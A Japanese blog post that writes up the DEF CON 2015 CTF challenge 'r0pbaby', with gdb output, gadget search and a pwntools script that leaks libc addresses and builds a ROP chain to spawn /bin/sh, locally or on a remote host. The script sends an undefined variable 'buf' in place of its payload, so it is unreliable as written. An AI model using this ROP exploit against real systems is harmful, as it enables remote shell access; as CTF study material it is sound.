読者です 読者をやめる 読者になる 読者になる

ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2015 r0pbaby

問題の名前から「ROPさせてshellをとるような問題だろうか」という予想を立てながら解くような問題だった。CTFはやはりこのようなヒントがあるというのがやっぱりいいなと思った。ということでさっそく実行してみた・・・

Enter bytes to send (max 1024): -8
Invalid amount.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

どうやらプログラム的にはlibcのアドレス、libcのライブラリ関数、ROPするためのbuffer、終了の数字で構成されていた。
ある一定の時間入力されないで放置されているとプログラムを強制的に終了させるようなシグナルを送るような設定がされていた。
さっそくsystemの場所求めてみようぜ!

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857590
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

私のローカルの環境ではlibcのsystem関数の場所が正確に表示されていたため、ここからlibc baseを求めて/bin/shを求めることができるため、shellを起動させることは問題なさそうだった。
さて、ここからが、本題だ!

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): -8
Invalid amount.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

さっそく負数をいれてみたけど、はじかれました。送るためのsizeを指定した後で送るための文字列を指定するんだけど・・・負数は対策済みみたい。
うーむ、とりあえず格納される場所とreturnの場所を調べてみるか。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled 

0x7fffffffdec0 ("AAAAAAAAE/\203\367\377\177")

gdb-peda$ x/100gx $rsp
0x7fffffffdec0:    0x4141414141414141 0x00007ffff7832f45

どうやら、Bad,choiceまたはMenuのExitからreturnに飛ぶことができるような動きを見せていた。格納される場所としてはreturnアドレスの前。SSPは無効になっているらしく。stackをチェックするような関数も存在しなかった。 しかし、このためした段階でsizeを8,AAAAAAAA\nの合計9文字を送ったときはreturnアドレスが書き換わっている様子はなかった。
どうやら、指定したsizeを超えた文字を送らないような処理をしているらしい。(あくまで予想)
そうであれば、sizeを17に指定して文字を改行文字を含めて送ってあげればどうなるだろう・・・

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 17
AAAAAAAABBBBBBBB

[-------------------------------------code-------------------------------------]
   0x555555554eac:  pop    r13
   0x555555554eae:  pop    r14
   0x555555554eb0:  pop    r15
=> 0x555555554eb2:  pop    rbp
   0x555555554eb3:  ret    
   0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x555555554ebe:  xchg   ax,ax
   0x555555554ec0:  push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec0 ("AAAAAAAABBBBBBBB\n")
0008| 0x7fffffffdec8 ("BBBBBBBB\n")
0016| 0x7fffffffded0 --> 0xa ('\n')
0024| 0x7fffffffded8 --> 0x7fffffffdfa8 --> 0x7fffffffe305 ("/home/shima/workspace/pwn_list_baby/r0pbaby/r0pbaby")
0032| 0x7fffffffdee0 --> 0x100000000 
0040| 0x7fffffffdee8 --> 0x555555554c46 (push   rbp)
0048| 0x7fffffffdef0 --> 0x0 
0056| 0x7fffffffdef8 --> 0x5d204955a0ad15d6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, 0x0000555555554eb2 in ?? ()
gdb-peda$ x/100gx $rsp
0x7fffffffdec0:    0x4141414141414141 0x4242424242424242

よっしゃ!(゚∀゚)キタコレ!!書き換わったぞい!
あとはsystemに飛ばすだけ。ROPをするんですが、必要なコードとしてsystemの引数を設定するためにrdiに/bin/shを入れるような命令(pop rdi)が必要になってくる。そういうわけで、例のツール使って探そう。

shima@chino:~/workspace/pwn_list_baby/r0pbaby$ rp++ -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 --unique| grep "pop rdi"
0x000fa37a: pop rdi ; call rax ;  (1 found)
0x000830b8: pop rdi ; jmp rax ;  (2 found)
0x00103f12: pop rdi ; rep ret  ;  (2 found)
0x00022b9a: pop rdi ; ret  ;  (506 found)
0x00116d5d: pop rdi ; retn 0x002A ;  (1 found)

上から4番目にいいものがありますねぇ。あとはlibc baseとこのpop命令のオフセットを足してあげれば終了
コードをべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_system = elf.symbols['system']
libc_binsh = next(elf.search("/bin/sh"))
rop_offset = 0x00022b9a

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./r0pbaby')
        print "[+] connect to local\n"

log.info('system info leak')
conn.recvuntil('4) Exit\n: ')
log.info('send 2')
conn.send('2\n')
conn.recvuntil('Enter symbol: ')
log.info('send system')
conn.send('system\n')
conn.recvuntil('Symbol system: ')

system_addr  = int(conn.read(18), 16)
libc_base = system_addr - libc_system
binsh_addr = libc_base + libc_binsh
rop = libc_base + rop_offset

print "[+] libc_base = %016x" % libc_base
print "[+] system_addr = %016x" % system_addr
print "[+] binsh_addr = %016x" % binsh_addr
print "[+] rop_addr = %016x" % rop

log.info('write to return address')
conn.recvuntil('4) Exit\n: ')
log.info('send 3')
conn.send('3\n')
conn.recvuntil('Enter bytes to send (max 1024): ')



# /bin/sh into rdi
payload = 'A' * 8
payload += pack(rop)
payload += pack(binsh_addr)
payload += pack(system_addr)

# len(payload) + 1 is payload + \n
conn.send('%d\n'% (len(payload) + 1))
conn.send(buf+'\n')
conn.send('4\n')
conn.interactive()

コード自体は今まで説明してきた通りのことしかやってない。
[総評] ROPは大切